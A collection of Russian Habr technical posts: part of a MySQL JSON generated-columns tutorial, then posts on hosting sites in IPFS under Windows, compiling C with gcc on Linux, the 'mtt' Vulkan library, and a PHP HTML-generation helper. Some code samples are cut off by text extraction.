+---------+------------+-----------+--------------+---------------------------+-----------+-------------+----------+--------+------+------------+---------+---------------+
```
Теперь, когда созданы несколько индексов в генерируемых столбцах, давайте усложним поиск. В этом примере выбираются идентификаторы, имена, выигранные теннисные игры, уровень Battlefield и время Puzzler для игроков, которые имеют уровень выше 50, а также выигравших 50 теннисных игр. Все результаты будут упорядочены по возрастанию в соответствии с временем в Puzzler. Команда SQL и результаты будут выглядеть так:
```
SELECT `id`, `names_virtual`, `tennis_won_virtual`, `battlefield_level_virtual`, `times_virtual` FROM `players` WHERE (`battlefield_level_virtual` > 50 AND `tennis_won_virtual` > 50) ORDER BY `times_virtual` ASC;
+----+---------------+--------------------+---------------------------+---------------+
| id | names_virtual | tennis_won_virtual | battlefield_level_virtual | times_virtual |
+----+---------------+--------------------+---------------------------+---------------+
| 5 | Phil | 130 | 98 | 7 |
| 6 | Henry | 68 | 87 | 17 |
+----+---------------+--------------------+---------------------------+---------------+
```
Давайте посмотрим, как MySQL выполнял этот запрос:
```
*************************** 1. row ***************************
id: 1
select_type: SIMPLE
table: players
partitions: NULL
type: range
possible_keys: won_idx,level_idx
key: won_idx
key_len: 4
ref: NULL
rows: 2
filtered: 66.67
Extra: Using where; Using filesort
```
При использовании индексов `win_idx` и `level_idx` MySQL приходилось обращаться к двум столбцам, чтобы вернуть желаемый результат. Если запрос должен выполнить полный просмотр таблицы с миллионом записей, это займёт очень много времени. Однако, с помощью генерируемых столбцов и их индексированием, MySQL показал очень быстрый результат и удобный способ поиска элементов в JSON-данных.
Тем не менее остается один вопрос: для чего нужны `STORED` генерируемые столбцц? Как их использовать и как они работают?
Хранение значений в генерируемых столбцах
-----------------------------------------
Использование ключевого слова `STORED` при настройке генерируемого столбца обычно не предпочтительно, поскольку в основном значения в таблице сохраняются дважды: поле с JSON и в `STORED` столбце. Тем не менее, существует [три сценария](http://mysqlserverteam.com/indexing-json-documents-via-virtual-columns/), когда в MySQL нужно использовать столбец `STORED`:
1. индексирование первичных ключей,
2. полнотекстовый индекс/индекс R-tree,
3. столбец, который часто выбирается.
Синтаксис добавления генерируемого `STORED` столбца, совпадает с созданием генерируемых столбцов `VIRTUAL`, за исключением того, что нужно добавить ключевое слово `STORED`:
```
`id` INT GENERATED ALWAYS AS (`player_and_games` ->> '$.id') STORED NOT NULL,
```
Чтобы посмотреть как использовать `STORED`, создадим еще одну таблицу. Она будет брать `id` из данных JSON и хранить его в `STORED` столбце. Установим `PRIMARY KEY` для столбца `id`:
```
CREATE TABLE `players_two` (
`id` INT GENERATED ALWAYS AS (`player_and_games` ->> '$.id') STORED NOT NULL,
`player_and_games` JSON NOT NULL,
`names_virtual` VARCHAR(20) GENERATED ALWAYS AS (`player_and_games` ->> '$.name') NOT NULL,
`times_virtual` INT GENERATED ALWAYS AS (`player_and_games` ->> '$.games_played.Puzzler.time') NOT NULL,
`tennis_won_virtual` INT GENERATED ALWAYS AS (`player_and_games` ->> '$.games_played."Crazy Tennis".won') NOT NULL,
`tennis_lost_virtual` INT GENERATED ALWAYS AS (`player_and_games` ->> '$.games_played."Crazy Tennis".lost') NOT NULL,
`battlefield_level_virtual` INT GENERATED ALWAYS AS (`player_and_games` ->> '$.games_played.Battlefield.level') NOT NULL,
PRIMARY KEY (`id`),
INDEX `times_index` (`times_virtual`),
INDEX `names_index` (`names_virtual`),
INDEX `won_index` (`tennis_won_virtual`),
INDEX `lost_index` (`tennis_lost_virtual`),
INDEX `level_index` (`battlefield_level_virtual`)
);
```
Добавим тот же набор данных в `player_two`, за исключением того, что удалим `id`, который ранее добавили в операцию `INSERT`:
```
INSERT INTO `players_two` (`player_and_games`) VALUES ('{
"id": 1,
"name": "Sally",
"games_played":{
...
);
```
После того, как данные были вставлены в таблицу, запустим `SHOW COLUMNS` в новой таблице, чтобы узнать, как MySQL создал столбцы. Обратите внимание, что поле `id` теперь — `STORED GENERATED` и содержит индекс `PRIMARY KEY`.
```
SHOW COLUMNS FROM `players_two`;
+---------------------------+-------------+------+-----+---------+-------------------+
| Field | Type | Null | Key | Default | Extra |
+---------------------------+-------------+------+-----+---------+-------------------+
| id | int(11) | NO | PRI | NULL | STORED GENERATED |
| player_and_games | json | NO | | NULL | |
| names_virtual | varchar(20) | NO | MUL | NULL | VIRTUAL GENERATED |
| times_virtual | int(11) | NO | MUL | NULL | VIRTUAL GENERATED |
| tennis_won_virtual | int(11) | NO | MUL | NULL | VIRTUAL GENERATED |
| tennis_lost_virtual | int(11) | NO | MUL | NULL | VIRTUAL GENERATED |
| battlefield_level_virtual | int(11) | NO | MUL | NULL | VIRTUAL GENERATED |
+---------------------------+-------------+------+-----+---------+-------------------+
```
Замечание об использовании `PRIMARY KEY` с генерируемыми столбцами: MySQL не позволит создавать первичные ключи для генерируемых `VIRTUAL` столбцов. На самом деле, если не указать `STORED` в поле `id`, MySQL выдает следующую ошибку:
```
ERROR 3106 (HY000): 'Defining a virtual generated column as primary key' is not supported for generated columns.
```
В то же время, если не устанавливать индекс первичного ключа и попытаться вставить данные, MySQL выдает сообщение об ошибке:
```
ERROR 3098 (HY000): The table does not comply with the requirements by an external plugin.
```
Это означает, что у таблицы нет первичного ключа. Поэтому нужно вернуться и пересоздать таблицу, либо удалить столбец `id` и добавить генерируемый `STORED` столбец с первичным ключом, например:
```
ALTER TABLE `players_two` ADD COLUMN `id` INT GENERATED ALWAYS AS (`player_and_games` ->> '$.id') STORED PRIMARY KEY;
```
Вывод
-----
В статье показано как эффективно хранить данные JSON в MySQL, а так же как создавать индексы благодаря генерируемым столбцам. Использование генерируемых столбцов позволит размещать индексы по определенным элементам данных JSON. Именно эта гибкость делает MySQL очень привлекательной для использования JSON. | https://habr.com/ru/post/348854/ | null | ru | null |
# Хостим сайт в межпланетной файловой системе IPFS под Windows
Прошло некоторое время от начала моих экспериментов с хостингом простых сайтов в IPFS. Запустил я свой IPFS клиент под Windows и у меня есть теперь что дополнить к предыдущей статье ["Публикуем сайт в межпланетной файловой системе IPFS"](https://habrahabr.ru/post/316468/)
1. [Решение проблемы c utf-8 в консоли Windows XP.](https://habrahabr.ru/post/325176/#dlya-windows-xp)
2. [Своя страница 404](https://habrahabr.ru/post/325176/#404-not-found)
3. [Корректная загрузка сайта с разных URL](https://habrahabr.ru/post/325176/#url-otnositelnye-puti-k-resursam)
> Напомню: InterPlanetary File System — это новая децентрализованная сеть обмена файлами (HTTP-сервер, [Content Delivery Network](https://ru.wikipedia.org/wiki/Content_Delivery_Network)). О ней я начал рассказ в статье ["Межпланетная файловая система IPFS"](https://habrahabr.ru/post/314768/).
[](https://habrahabr.ru/post/325176/)
**Содержание**
1. [Перед стартом](#pered-startom)
2. [Запуск IPFS под Windows](#zapusk-ipfs-pod-windows)
1. [Для Windows 7 и новее](#dlya-windows-7-i-novee)
2. [Для Windows XP](#dlya-windows-xp)
3. [404 Not Found (manifest.appcache)](#404-not-found)
4. [URL Относительные пути к ресурсам](#url-otnositelnye-puti-k-resursam)
5. [IPFS как зеркало](#ipfs-kak-zerkalo)
6. [Заключение](#zaklyuchenie)
7. [Источники](#istochniki)
Перед стартом
-------------
Необходимо создать ярлык на ipfs.cmd файл в свойствах которого поменять шрифт на Lucida Console. Это даст возможность переключиться на UTF-8.
Запуск IPFS под Windows
-----------------------
Хочется видеть какие запросы приходят к нашему клиенту. Используем командный файл. Он настроит вывод консоли, переменные и при помощи findstr или grep отфильтрует вывод IPFS клиента.
### Для Windows 7 и новее
Файл: ipfs.cmd
```
rem Переключаем на UTF-8 (>= Windows 7)
chcp 65001
rem Выключаем цветной лог который не работает в консоли Windows
SET IPFS_LOGGING_FMT=nocolor
rem |-D - включает режим DEBUG в котором в консоль выводится информация о работе клиента
rem |listening - покажет открытые порты
rem |namesys - покажет процесс разрешения домена
rem |path - покажет конечный путь куда обращается клиент
ipfs.exe daemon -D 2>&1|findstr "listening namesys path" 2>nul
pause
```
### Для Windows XP
В Windows XP есть особенность что попытавшись переключить на utf-8 в командном файле выполнение сразу завершается. Методом проб и ошибок мне удалось переключить кодировку в командном файле.
`start "utf-8" /B cmd /C chcp 65001`
Но оказалось команда должна отработать во время работы программы. И надо вернуть кодировку по завершении команды.
После того как я "открыл" способ переключения нашёл [другие решения](http://stackoverflow.com/questions/32182619/chcp-65001-and-a-bat-file).
`chcp 65001 | ipfs daemon & chcp 1251`
Таким образом переключение на utf-8 выполняется во время работы ipfs. А когда работа ipfs заканчивается кодировка переключается на win1251 и bat файл продолжает работу.
Нам понадобится [Grep for Windows](http://gnuwin32.sourceforge.net/packages/grep.htm). Findstr вырубается при включенном UTF-8 от первой строки в которой присутствуют символы кириллицы. Ну и отображает за место них точки.
Файл: ipfs.cmd
```
rem Выключаем цветной лог который не работает в консоли Windows
SET IPFS_LOGGING_FMT=nocolor
rem |Переключаем на UTF-8 (Windows XP)
rem |-D - включает режим DEBUG в котором в консоль выводится информация о работе клиента
rem |listening - покажет открытые порты
rem |namesys - покажет процесс разрешения домена
rem |path - покажет конечный путь куда обращается клиент
chcp 65001|ipfs.exe daemon -D 2>&1|grep "listening\|namesys\|path" 2>nul & chcp 1251
pause
```
404 Not Found
-------------
Страница с ошибкой 404 отображается на сайте обычно когда файл или директория с таким именем не найдены на сервере. Теперь для создания страницы 404 в IPFS есть два способа.
### ipfs-404.html
Новая версия IPFS если целевой файл не найден теперь ищет от директории в которой файл не найден до корневой директории файл [ipfs-404.html](https://github.com/ipfs/go-ipfs/pull/4233) и выводит его содержимое.
Теперь для того чтобы задать свою страницу 404 всему сайту достаточно добавить в корень сайта файл с именем ipfs-404.html и содержимым которое необходимо на странице 404.
### manifest.appcache
В старой версии IPFS нет настраиваемой страницы 404. Мы её можем имитировать при помощи appcache.
Файл: manifest.appcache
```
CACHE MANIFEST
# 2017-03-29 v1.0
# Записываем в кеш 404.html
CACHE:
404.html
# Назначаем её ответом в случае получения 404 от сервера
FALLBACK:
/ 404.html
# Разрешаем всё остальное грузить с сервера
NETWORK:
*
```
При использовании appcache нельзя устанавливать заголовок Expiries для страниц на которых объявлен manifest.appcache и ресурсов указанных в манифесте в разделе CACHE. При обновлении файла manifest.appcache Firefox "обновляет" файлы указанные в манифесте из собственного кэша чем оставит старые файлы с обновлённым манифестом.
На страницах нельзя указывать в теге base который ведёт на другой домен. Firefox дополняет путь к файлу манифеста значением свойства href тега base и блокирует загрузку manifest.appcache если он на другом домене или протоколе (http -> https).
Другие нюансы: ["Основные ловушки при использовании кэша в HTML5-приложениях"](https://habrahabr.ru/company/paysto/blog/254619/)
URL Относительные пути к ресурсам
---------------------------------
Внешние ресурсы страницы должны быть указаны относительными путями. Содержимое сайта в IPFS может быть загружено с множества разных url разной степени вложенности.
```
http://домен/страница.html
http://ipfs.io/ipns/домен/страница.html
http://ipfs.io/ipns/мультихеш_публичного_ключа/страница.html
http://ipfs.io/ipfs/мультихеш_каталога/страница.html
и даже так
http://ipfs.io/ipfs/мультихеш_файла
```
Для последнего случая лучше включать css и js в страницу. Либо включить скрипт который обработает данный случай и выставит правильные ссылки на ресурсы и страницы.
Также вместо "ipfs.io" или домена в адресе может быть:
1. `localhost:8080`
2. `127.0.0.1:8080`
3. `[::1]:8080`
и так далее.
В итоге у нас получится такая страница.
Файл: index.html
```
Мой сайт
if (window.location.hash.substr(1,8) == "magnet:?"){
var magnet = document.location.hash.substr(9)
// Используем относительный путь в скриптах
setTimeout(function() {window.location.replace("magnet-converter/#magnet:?"+magnet);}, 0);
}
[magnet converter](magnet-converter/)
[gravity](gravity/gravity.svg)
[All projects](https://github.com/ivan386?tab=repositories)
```
IPFS как зеркало
----------------
Не обязательно использовать IPFS клиент как HTTP-сервер. Можно использовать любой HTTP-сервер который будет отдавать содержимое сайта если у посетителя не установлен IPFS клиент. В IPFS можно загрузить зеркало этого сайта.
Заключение
----------
Рассказал что вспомнил. Надеюсь это не мало. Есть идея по реализации дедупликации и ускорения классического интернета за счёт IPFS. Надеюсь рассказать об этом в будущих статьях с рабочими примерами.
Мои [релизы клиента IPFS с исправлениями на GitHub](https://github.com/ivan386/go-ipfs/releases):
1. Совместимость с punycode.
2. Etag для всех GET запросов.
3. Правильное определение скрытых файлов в Windows.
Источники
---------
1. [ipfs command reference](https://ipfs.io/docs/commands/)
2. [Documentaion for logging?](https://github.com/ipfs/go-ipfs/issues/2692)
3. [grep в Windows? Легко!](https://habrahabr.ru/post/71568/)
4. [Что такое grep и с чем его едят](https://habrahabr.ru/post/229501/)
5. [Grep for Windows](http://gnuwin32.sourceforge.net/packages/grep.htm)
6. [Using the application cache](https://developer.mozilla.org/en-US/docs/Web/HTML/Using_the_application_cache)
7. [Основные ловушки при использовании кэша в HTML5-приложениях](https://habrahabr.ru/company/paysto/blog/254619/)
8. [chcp 65001 and a .bat file](http://stackoverflow.com/questions/32182619/chcp-65001-and-a-bat-file) | https://habr.com/ru/post/325176/ | null | ru | null |
# Как начать писать программный код Си в ОС Linux (Руководство для совсем начинающих)
Введение
--------
Добрый день. Этот материал рассчитан на людей, будущих программистов, которые только начинают разбираться в программировании под ОС Linux. Я попробую здесь показать прямое руководство к действию на примере тех простых инструментов, которые использовал некогда сам при изучении Си в процессе знакомства с Linux. На самом деле, с теми или иными поправками, это руководство можно использовать в большинстве дистрибутивов. Руководство однозначно подходит для всех deb-based дистрибутивов.
С установкой ОС, как я полагаю, проблем у Вас уже не возникло. Этому процессу посвящены просто тысячи статей на профильных сайтах.
Итак: у Вас сейчас установлен дистрибутив ОС, как говорится, "из коробки". Перед глазами пособие для разработчика/учебник/просто\_хорошая\_книга по "Языку программирования Си". И никакой вменяемой, полноценной подробной информации о том, как же собственно откомпилировать и выполнить, написанный в книге, исходный код. Быстрый осмотр тематических ресурсов уже показал Вам, что, необходимо установить компилятор Си, запустить его с нужными параметрами и потом запустить компилированный бинарный код. Примерно с этого момента мы и начнём.
Установка компилятора
---------------------
Я имею ввиду, что Вы скорее всего (бывший) пользователь ОС Windows и действия в чёрном/синем окошке при помощи клавиатуры оканчивались где-то на команде ping, кажутся неким таинством. Однако отмечу, что всё банально просто и текстовой интерфейс предоставляет намного более гибкие возможности (скорее всего Вы неоднократно Вы слышали это ранее). Приступим:
Я подразумеваю, что с понятием компиляции и о том что такое компилятор Вас уже познакомила правильная книга.
На этом этапе всё будет очень быстро и просто. Открываем терминал и пишем:
```
sudo apt install gcc
```
(*На всякий случай: вставка в gnome-terminal ctrl+shift+v*)
Сразу поясню, что текст слева от курсора - это приглашение командного интерпретатора и оно выглядит следующим образом:
ИМЯ\_ПОЛЬЗОВАТЕЛЯ@ИМЯ\_КОМПЬЮТЕРА:ТЕКУЩИЙ\_КАТАЛОГ$
Далее я буду указывать только команды интерпретатору без приглашения.
Данная строка "говорит" интерпретатору: "от имени суперпользователя запустить менеджер пакетов для установки пакета gcc".
Система попросит Вас ввести пароль суперпользователя и приступит к установке компилятора.
```
Чтение списков пакетов… Готово
Построение дерева зависимостей
Чтение информации о состоянии… Готово
Предлагаемые пакеты:
gcc-multilib gcc-doc
Следующие НОВЫЕ пакеты будут установлены:
gcc
Обновлено 0 пакетов, установлено 1 новых пакетов, для удаления отмечено 0 пакетов, и 44 пакетов не обновлено.
Необходимо скачать 5 208 B архивов.
После данной операции объём занятого дискового пространства возрастёт на 51,2 kB.
Пол:1 http://ru.archive.ubuntu.com/ubuntu focal/main amd64 gcc amd64 4:9.3.0-1ubuntu2 [5 208 B]
Получено 5 208 B за 0с (34,6 kB/s)
Выбор ранее не выбранного пакета gcc.
(Чтение базы данных … на данный момент установлено 371769 файлов и каталогов.)
Подготовка к распаковке …/gcc_4%3a9.3.0-1ubuntu2_amd64.deb …
Распаковывается gcc (4:9.3.0-1ubuntu2) …
Настраивается пакет gcc (4:9.3.0-1ubuntu2) …
Обрабатываются триггеры для man-db (2.9.1-1) …
```
Если же он уже установлен, то менеджер пакетов `apt` просто укажет на это примерно следующим образом:
```
Чтение списков пакетов… Готово
Построение дерева зависимостей
Чтение информации о состоянии… Готово
Уже установлен пакет gcc самой новой версии (4:9.3.0-1ubuntu2).
```
Установка редактора
-------------------
Обычно с дистрибутивом Ubuntu поставляется весьма интересный текстовой редактор `gedit`. Однако в других дистрибутивах возможно придётся установить этот редактор:
```
sudo apt install gedit
```
Создание файла с исходным кодом
-------------------------------
Теперь пришло то самое время нашего классического "hello world"! Давайте сделаем это в стиле linux. Просто наберите в консоли:
```
gedit ~/hello_world.c
```
Более подробно Вы обязательно прочитайте в профильных ресурсах и в документации, я только отмечу, что символ "тильда" возвращает полный путь к домашнему каталогу пользователя ОС. Соответственно будет создан файл в вашем домашнем каталоге с указанным именем.
И далее наш программный код на языке Си в редакторе:
```
#include "stdio.h"
int main()
{
printf ("\nHello world)\n");
for (int c=0; c<10;c++)
{
for (int i =0;i
```
*(Стоит отметить, что в редакторе gedit есть подсветка синтаксиса для различных языков программирования. Переключить режимы подсветки можно в нижней части окна редактора.)*
Не забываем сохранить изменения нажатием ctrl+s. Обратите внимание, что вопросов об имени файла не последовало, так как имя было уже указано параметром при запуске редактора из командной строки терминала.
Компиляция и запуск
-------------------
Закрываем окно редактора нажатием Alt+F4 и запустим же то сокровенное ради чего все тут и собрались:
```
gcc ./hello_world.c
```
И в ответ только новое приглашение. В отличие от стиля в ОС Windows, когда консоль, жутко подробно по-умолчанию, комментирует выполняемые действия - большинство программ в ОС семейства \*nix сообщают только об исключительных ситуациях, ошибках и тому подобных вещах. То есть если "в ответ тишина" - то всё прошло хорошо.
Теперь в домашнем каталоге у нас появился файл a.out - он и есть файл с исполнимым кодом.
Для запуска этого файла на исполнение - назначим ему атрибут: "исполнимый":
```
chmod +x a.out
```
и теперь запустим получившееся приложение:
```
./a.out
```
(*Для запуска исполнимого файла интерпретатору требуется указать полный путь к файлу. Как в случае с "тильдой" символ "точка" возвращает полный путь к текущему каталогу. В данном конкретном случае правомерно так же запустить через* `~/a.out` *Это не имеет значения здесь, так как файл создан в домашнем каталоге пользователя*.)
И мы получаем вывод в терминале:
```
Hello world)
#
##
###
####
#####
######
#######
########
#########
```
*Для выполнения всех повторных действий: изменение кода и снова компиляция, - Вы можете не вводить все эти команды каждый раз заново, а использовать стрелки вверх и вниз, для быстрого выбора команд из истории. И, кстати, вывод списка истории всех введённых команд можно выполнить командой (на самом деле программой)* `history`*.*
Минутка автоматизации
---------------------
Теперь приступим к очень интересному моменту связанному с творчеством в духе \*nix. Каждый раз вводить много скучных команд неинтересно, возможно, даже вредно. Мы расширим функционал редактора gedit и доработаем его "напильником" до состояния примитивной среды разработки: запустим gedit и откроем меню параметров,
Главное меню gedit где на вкладке "Расширения" добавляем "Внешние инструменты"
"Настройки" - "Расширения"И затем, из того же главного меню gedit выбираем "Управление внешними инструментами".
"Управление внешними инструментами"Как Вы уже поняли - здесь можно выполнить доработку функциональности текстового редактора. Создадим новый инструмент: "Компиляция и запуск", В качестве вывода используем нижнюю область редактора. Инструмент назначим для файлов C и C++. Назначим клавишу F5 (дело вкуса) на применение инструмента и собственно сам код инструмента в виде скрипта bash:
```
#!/bin/bash
gcc -o a.out $GEDIT_CURRENT_DOCUMENT_NAME
chmod +x ./a.out
./a.out
rm ./a.out
```
Разберёмся в том, что тут происходит:
`#!/bin/bash` - указание командного интерпретатора для выполнения скрипта.
`gcc -o a.out $GEDIT_CURRENT_DOCUMENT_NAME -` здесь мы запускаем компилятор, где в параметре -o указываем имя выходного файла. Пускай он будет таким же как и по-умолчанию.
`$GEDIT_CURRENT_DOCUMENT_NAME` - через эту переменную gedit передаёт имя файла.
Дальше Вы уже знаете - назначение атрибута "исполнения", запуск файла и потом:
`rm ./a.out` - удаление созданного исполнимого файла.
Попробуем инструмент в деле:
Теперь можно продолжать изучать пособие для разработчика/учебник/просто\_хорошую\_книгу по "Языку программирования Си" на практике.
Заключение
----------
На самом деле в ОС Linux полно возможностей по доработке и использованию различного ПО. Само ПО является максимально гибким. Необязательно использовать предложенные мною средства, скорее методы, разработки.
В дальнейшем Вам обязательно понадобятся более серьёзные средства. А на первое время Вы можете дополнительно посмотреть другие редакторы, вплоть до больших и серьёзных сред разработки. Однако обязательно обратите внимание на редактор vim. | https://habr.com/ru/post/657209/ | null | ru | null |
# Mtt, или что-то посложнее, чем нарисовать треугольник
Забавно, куда порой могут привести несколько экспериментов. Вроде бы план был простой — посмотреть, что там такого интересного в этом вот вашем вулкане, что за хайп такой. Ну, нарисую что-нибудь. Нет, не треугольник, что-то посложнее, чем треугольник. Ручное выделение и освобождение дескрипторов? Ну уж нет, стрелять себе по ногам я не хочу, мне на них ещё ходить.
Дальше — веселее. Жонглировать фреймбуферами в OpenGL – не сказать, что очень приятное занятие, а здесь вся логика намекает на такой подход. Попробую-ка я реализовать отложенное освещение. Фреймбуферы, значит, и рисовать хочется что-то посложнее треугольника? Пора изобрести меши и техники рисования… И чем дальше, тем больше вопросов, тем интереснее задачи, и тем веселее эксперименты. Сначала это был полигон для экспериментов с вулканом, потом — полигон для архитектурных экспериментов. А потом стало понятно, что появляется что-то самостоятельное. Доработаем немного напильником, и, пожалуй, можно показать людям. Вдруг кому пригодится.
Итак, знакомьтесь - mtt.
------------------------
[Ссылка на репозиторий](https://github.com/AluminiumRat/mtt)
Mtt – это набор библиотек c++, который может помочь вам на старте, если вы хотите написать приложение, работающее с 3d графикой. Он распространяется под MIT лицензией, так что фактически можете использовать mtt как хотите.
Игровой движок? Нет конечно. Вы можете попробовать написать на нем игру, но, честное слово, есть куда более достойные варианты, которые отнимут у вас гораздо меньше сил и времени. Mtt развивался как лаборатория для экспериментов и получился довольно гибким. Так что стоит обратить на него внимание, если вы хотите сделать что-то нестандартное, имеющее собственную систему отрисовки.
Прежде всего стоит рассматривать mtt как довольно тонкую обертку вокруг вулкана, которой он изначально и создавался. Собирать и настраивать шейдерные программы, подключать к ним сэмплеры и вершинные буферы, передавать данные через униформы. Если вам знакомы эти слова, то, вероятно, вам стоит взглянуть на mtt. Он сильно упрощает работу. Вот так, например, можно создать и заполнить вершинный буфер:
```
mtt::Buffer positionBuffer(displayDevice, mtt::Buffer::VERTEX_BUFFER);
std::vector positionsData ={ glm::vec3(-1.f, -1.f, 0.f),
glm::vec3(-1.f, 1.f, 0.f),
glm::vec3( 1.f, -1.f, 0.f)};
positionBuffer.setData( positionsData.data(),
positionsData.size() \* sizeof(positionsData[0]));
```
А вот так - подключить его к пайплайну:
```
VertexAttribute& positionAttribute =
pipeline.getOrCreateAttribute("positionLocation");
positionAttribute.adjustDataType(VertexAttribute::FLOAT_VEC3_TYPE);
positionAttribute.attachBuffer(&positionBuffer);
```
Естественно, что со временем mtt оброс и более высокоуровневыми возможностями. Первая из них — это, конечно, работа с графом сцены и построение по нему плана рендера. То есть mtt берёт на себя большую часть рутины, когда нужно обойти видимые объекты сцены, выбрать техники рисования, отсортировать команды отрисовки по проходам и по расстоянию до камеры. Вы можете сосредоточиться только на данных и способах их отрисовки. Меши и техники рисования служат именно для этого. В сущности, это надстройка над буферами и пайплайнами, автоматизирующая многие типовые задачи.
Библиотека mtt::clPipeline – это реализация конкретной рендер-ситемы, то есть техник рисования и последовательности проходов отрисовки. Вам вовсе не обязательно использовать именно её, большая часть mtt к ней не привязана. Скорее, это быстрый старт, который поможет на начальных этапах, или прототип, на основе которого можно сделать свою систему.
Материалы в clPipelineВторая важная часть – это набор часто используемых примитивов. Mtt развивался в основном в сторону инструменталки, поэтому тут вы можете найти манипуляторы, команды редактирования и undo/redo стек, асинхронные задачи, типовые виджеты и т.д. Это тоже своего рода быстрый старт, который должен помочь на первых порах.
Посмотрите на приложения ObjectEditor и ParticlesEditor. Оба они входят в состав mtt, и оба построены на общих компонентах. Хотя они и похожи друг на друга больше чем братья, но выполняют при этом совершенно разную работу. Если ObjectEditor – это простенький, в общем-то, редактор моделей, то ParticlesEditor – это флюид-симулятор.
Если посмотреть в исходный код этих редакторов, то можно заметить, что он практически полностью состоит из классов, описывающих обрабатываемые данные, а также из виджетов, управляющих этими данными. Унификация творит чудеса, и для написания двух разных редакторов потребовалось лишь описать предметные области и добавить немного кастомного GUI.
Вместо заключения
-----------------
Что же, думаю, что я тут уже достаточно понаписал для привлечение внимания к mtt. В [репозитории](https://github.com/AluminiumRat/mtt) вы найдете intoduction.md и примеры. Этого, по моим прикидкам, должно хватить для начала. Если библиотека вызовет интерес, то займусь документацией более основательно. Главный вопрос в том, интересно ли это ещё кому-нибудь?
Благодарности
-------------
* Модель баобаба(лицензия [CC-BY-SA 4.0](https://creativecommons.org/licenses/by-sa/4.0/)), получена с [opengameart.org](https://opengameart.org/content/giant-baobab-low-poly-tree-model). Предоставлена [Skodvirr](https://sketchfab.com/3d-models/rhinos-on-savanna-3bce37ae141e4be2a614397c2043f17b), [Screaming Brain Studio](https://opengameart.org/users/screaming-brain-studios), [YouriNikolai](https://opengameart.org/users/yurinikolai).
* Скейбокс(лицензия [CC BY 3.0](https://creativecommons.org/licenses/by/3.0/)) получен из [humus.name](http://www.humus.name/index.php?page=Textures&ID=81), создан Emil Persson, aka Humus.
* Материал камня предоставлен [Nobiax](https://nobiax.deviantart.com), получен с [opengameart.org](https://opengameart.org/content/tilling-texture-pack-14)
Большое спасибо авторам этих работ. | https://habr.com/ru/post/689176/ | null | ru | null |
# Генерация HTML: удобнее чем хелперы и чистый HTML
Писать чистый HTML часто неудобно, особенно если нужно делать динамические вставки.
Шаблонизаторы частично решают эту проблему, но их причудливый синтаксис нужно изучать, мириться с ограничениями, вкладывать одни шаблоны в другие для повторного использования, в целом попытка хороша, но что-то не то.
В некоторых фреймворках есть хелперы, в частности написать эту статью меня вынудила [Aura.Html](https://github.com/auraphp/Aura.Html). С хелперами иная история — они изначально задуманы для реального упрощения, поскольку одной командой могут генерировать хороший кусок HTML кода, но они в большинстве заточены под определённое использование, и что-то дальше этого выглядит слишком криво.
Как более универсальное решение было бы не плохо не изобретать причудливый синтаксис, а использовать самый обычный PHP и всем знакомые примитивные CSS-селекторы.
Размышляя в таком духе некоторое время назад я принялся пилить свой велосипед. Велосипед получился, использовался в рамках другого велосипеда, потом отделился, много раз обновлялся, и сейчас я хотел бы поделиться им с сообществом.
#### Как оно работает?
Идея была в том, чтобы сделать как можно проще:
```
h::div('Content')
```
что на выходе даст
```
Content
```
Это самый простой пример. Название метода — тэг, внутри передается значение. Если нужно добавить атрибутов — не проблема:
```
h::div(
'Content',
[
'class' => 'some-content'
]
)
```
```
Content
```
И можно было бы подумать, что проще уже никак, но тут на помощь приходят CSS-селекторы, и немного уличной магии:
```
h::{'div.some-content'}('Content')
```
На выходе будет то же самое. С первого взгляда может показаться немного странным, но на практике весьма удобно.
#### В сравнении с Aura.Html
В начале я упоминал Aura.Html, стоит сравнить как генерируется HTML там, и тут.
Aura.Html (пример из документации):
```
$helper->input(array(
'type' => 'search',
'name' => 'foo',
'value' => 'bar',
'attribs' => array()
));
```
Наш вариант:
```
h::{'input[type=search][name=foo][value=bar]'}()
```
Любой из параметров можно было вынести в массив.
На выходе:
```
```
И ещё вариант посерьезней.
Aura.Html (пример из документации):
```
$helper->input(array(
'type' => 'select',
'name' => 'foo',
'value' => 'bar',
'attribs' => array(
'placeholder' => 'Please pick one',
),
'options' => array(
'baz' => 'Baz Label',
'dib' => 'Dib Label',
'bar' => 'Bar Label',
'zim' => 'Zim Label',
),
))
```
Наш вариант:
```
h::{'select[name=foo]'}([
'in' => [
'Please pick one',
'Baz Label',
'Dib Label',
'Bar Label',
'Zim Label'
],
'value' => [
'',
'baz',
'dib',
'bar',
'zim'
],
'selected' => 'bar',
'disabled' => ''
])
```
Тут *in* используется явно, его можно использовать для передачи внутренностей тэга, как *Content* в примере с *div* выше. Используются как общие правила, так и некоторые специальные, немного подробнее о которых дальше.
На выходе то же самое:
```
Please pick one
Baz Label
Dib Label
Bar Label
Zim Label
```
#### Специальная обработка
Все тэги следуют общим правилам обработки, но есть некоторые тэги, которые имеют дополнительные конструкции для удобства.
Например:
```
h::{'input[name=agree][type=checkbox][value=1][checked=1]'}()
```
```
```
Работает похоже с *select*, в *value* значение, а *checked* проставится когда совпадет одноименный элемент передаваемого массива.
Ещё один пример использования *in* и специальной обработкой *input[type=radio]*:
```
h::{'input[type=radio]'}([
'checked' => 1,
'value' => [0, 1],
'in' => ['Off', 'On']
])
```
```
Off
On
```
Никаких оберток *label* не добавляется специально, чтобы сделать код максимально общим и предсказуемым.
#### Если нужно обработать массив
Это, наверное, самая часто используемая вместе с контролем вложенности возможность, так как данные и правда часто приходят откуда-то в виде массива.
Для обработки массива его можно передать прямо вместо значения:
```
h::{'tr td'}([
'First cell',
'Second cell',
'Third cell'
])
```
Либо даже опустить лишние скобки в самом простом случае
```
h::{'tr td'}(
'First cell',
'Second cell',
'Third cell'
)
```
На выходе:
```
|
First cell
|
Second cell
|
Third cell
|
```
Каждый элемент массива будет обработан отдельно, то есть вполне законно передавать не только строки, но и некоторые атрибуты, правда, иногда это выглядит слишком монструозно:
```
h::{'tr.row td.cs-left[style=text-align:left;][colspan=2]'}(
'First cell',
[
'Second cell',
[
'class' => 'middle-cell',
'style' => 'color:red;',
'colspan' => 1
]
],
[
'Third cell',
[
'colspan' => false
]
]
)
```
Если в вызове тоже были указаны атрибуты — *class* и *style* будут расширены, остальные перезаписаны, атрибуты с логическим значением *false* будут удалены.
```
|
First cell
|
Second cell
|
Third cell
|
```
С помощью волшебной палочки, которая не является привычной частью CSS-селектора (это единственное исключение, без которого можно обойтись), можно управлять тем, как будут обрабатываться уровни вложенности:
```
h::{'tr| td'}([
[
'First row, first column',
'First row, second column'
],
[
'Second row, first column',
'Second row, second column'
]
])
```
```
|
First row, first column
|
First row, second column
|||
Second row, first column
|
Second row, second column
||
```
